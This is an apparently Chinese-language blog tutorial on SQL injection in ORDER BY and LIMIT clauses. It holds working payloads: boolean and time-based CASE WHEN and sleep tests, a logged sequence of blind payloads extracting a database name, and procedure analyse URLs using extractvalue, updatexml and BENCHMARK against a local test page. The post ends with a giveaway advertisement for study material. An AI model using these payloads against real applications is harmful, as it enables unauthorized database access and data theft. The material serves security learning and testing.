SQL特殊位置注入:order注入和limit注入

前言

平常在做测试的过程中,我们经常遇到的sql注入点一般是在where语句后面,但是偶尔也会遇到注入点在order by和limit。这两个位置由于其有一些特殊性,导致一些注入方式不能使用。下面就一起来看看这两个位置如何去注入。

由于本人水平有限,文章中可能会出现一些错误,欢迎各位大佬指正,感激不尽。如果有什么好的想法也欢迎交流~~

SQL语法基础知识

在具体看这两个位置以前,先来了解一下SQL的语法顺序以及执行顺序

SQL语法顺序

平常书写SQL语句就是按照下面的语法顺序来书写的。

select[distinct]
from
join(如 left join)
on
where
group by
having
union
order by
limit

SQL的执行顺序

但是语法顺序并不是SQL的执行顺序,SQL在执行的过程中是按照下面的顺序来执行的。

(1)from
(2)on
(3)join
(4)where
(5)group by:group by 子句将数据划分为多个分组;
(6)sum,count,max,min,avg:聚合函数
(7)having:使用 having 子句筛选分组
(8)select:选择需要的列
(9)distinct(去重):对结果进行去重操作
(9)union:将多个查询结合联合,会重复上面的步骤
(10)order by:对结果进行排序
(11)limit:返回的条数

1694414701_64feb76df30de0e910405.png!small?1694414702563

以上每个步骤都会产生一个虚拟表,该虚拟表被用作下一个步骤的输入。这些虚拟表对调用者(客户端应 用程序或者外部查询)不可用。只有最后一步生成的表才会会给调用者。如果没有在查询中指定某一个子句, 将跳过相应的步骤。

检测sql注入的常用方式

1)布尔注入

2)报错注入

3)延时注入

4)多语句注入(堆叠注入,就是添加分号,在写一个语句)就是可以执行多个语句,利用分号进行隔开

5)联合注入(union)

6)内联注入

order by注入

是指注入点跟在order by语句的后面,我们最常遇到的注入点一般是跟在where后面的。但是现在跟在order by后面的情况越来越多,因为在JAVA中一般使用了框架mybaits,使用该框架在order by后面直接使用#{}会报错,有人为了省事,就会使用${},大家也都知道前者是安全的,后者则会造成sql注入

注入点

最简单的注入点如下

select * from goods order by $_GET['order']

order by语法

SELECT column1, column2, ...
FROM table_name
ORDER BY column1, column2, ... ASC|DESC;

Order by 后面默认跟要查询的字段,也可以为多个字段

字段后面可以跟升序或者降序排序

ASC升序排序,默认为升序排序

DESC表示降序

order by后面的字段也可以用数字来代替,表示用第几个字段进行排序,这种方式经常用来判断表中有几个字段。

1694414876_64feb81c9aaf490273e0d.png!small?1694414876976

当数字超过了表的字段数会导致报错。

1694414889_64feb82926a7b137689ee.png!small?1694414889460

order by后面可以跟什么语句?

1)根据上面的sql执行顺序我们可以看到,order by的执行是在sql语句的最后面,因此order by后面不能直接跟union连接查询。这样在sql注入的时候就不能使用union注入了。

1694414911_64feb83fb6a1a9f5036e3.png!small?1694414912094

2)order by后面可以跟if(),case when else这样的复合查询语句。可以用来进行bool注入,延时注入等

1694414933_64feb85571806fb6b9666.png!small?1694414933792

3)order by后面可以接数字,字段名,这个可以用来判断是否存在注入以及字段数。

判断order by后面是否存在注入点

1)可以改变order by后的列名看排序是否改变来判断是在order by后面的注入点。然后加上ASC|DESC看结果排序是否有改变,有改变则证明有注入点

2)通过bool类型进行判断,下面两个页面如果返回结果不同,则证明有注入点

(select (case when (3013=3014) then '' else (select 1083 union select 9794)end))

(select (case when (3013=3013) then '' else (select 1083 union select 9794)end))

3)mysql可以使用延时判断,页面响应时间如果延时3秒,那么证明有注入。

sqlserver数据库延时使用的是waitfor delay ,但我在order by后的延时注入一直不成功

if(1=1,sleep(3),1)

4)如果返回报错,可以直接看报错信息是否存在注入点

order by后面的利用

利用方式其实跟其它注入位置相同,mysql可以通过bool类型注入和延时注入来读取数据,sqlserver数据库目前测试可以通过bool类型来读取数据。当然,如果有错误回显,可以使用报错注入。

可能用到的函数:length()、substr()、ascii()函数

如下面利用bool注入获取内容的payload。

[PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>64) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:26] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:26] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:26] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>104) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:27] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>108) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:27] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>110) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:27] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>109) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>104) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>100) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>102) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>101) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:30] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>120) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:30] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>116) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:30] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>118) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:31] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>119) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:31] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),7,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:31] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),7,1))>48) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))

limit语句后的sql注入

limit语法

limit是在mysql中的语句,在sqlserver中无该字段,对应的为top。具体用法如下

LIMIT[位置偏移量,]行数

其中,中括号里面的参数是可选参数,位置偏移量是指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推...,第二个参数为“行数”即指示返回的记录条数。
SELECT 
[ALL | DISTINCT | DISTINCTROW ] 
  [HIGH_PRIORITY] 
  [STRAIGHT_JOIN] 
  [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
  [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
select_expr [, select_expr ...] 
[FROM table_references 
[WHERE where_condition] 
[GROUP BY {col_name | expr | position} 
  [ASC | DESC], ... [WITH ROLLUP]] 
[HAVING where_condition] 
[ORDER BY {col_name | expr | position} 
  [ASC | DESC], ...] 
[LIMIT {[offset,] row_count | row_count OFFSET offset}] 
[PROCEDURE procedure_name(argument_list)] 
[INTO OUTFILE 'file_name' export_options 
  | INTO DUMPFILE 'file_name' 
  | INTO var_name [, var_name]] 
[FOR UPDATE | LOCK IN SHARE MODE]]

从上面的内容中,可以得出下面的一些结论

1)limit前面没有order by时,后面可以跟union,如果存在order by,则不能使用union。

2)limit后面不能直接跟select语句和if语句。可以跟procedure语句,值得注意的是只有在5.0.0< MySQL <5.6.6版本才可以使用,procedure后面支持报错注入以及时间盲注

3)limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难。

limit注入点

如下的sql语句

select*from limittest limit 1,[可控点]

select ... limit [可控点]

利用方式

可以通过下面的语句进行利用。

# extractvalue 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23

# updatexml 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(updatexml(1,concat(0x3a,user()),1),1);%23

# 对于无法报错注入的,可以结合来进行时间盲注
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23
PS:时间盲注这里不支持sleep,可以使用BENCHMARK
BENCHMARK主要用于测试多次进行某个操作所耗费的时间,这里用于做时间盲注的时间区别函数

procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)

总结

上面简单总结了一下sql注入中order by和limit两个位置如何利用,其实sql注入的利用的关键还是要熟练掌握sql的语法,这样在利用的时候才能事半功倍。

最后

  为了帮助大家更好的学习网络安全,小编给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,所有资料共282G,朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~

《网络安全入门+进阶学习资源包》CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

 👉网安(嘿客红蓝对抗)所有方向的学习路线👈

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


 学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

网络安全源码合集+工具包

视频教程

 面试题资料

独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
 全部资料共282G,朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~

黑客/网安大礼包:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值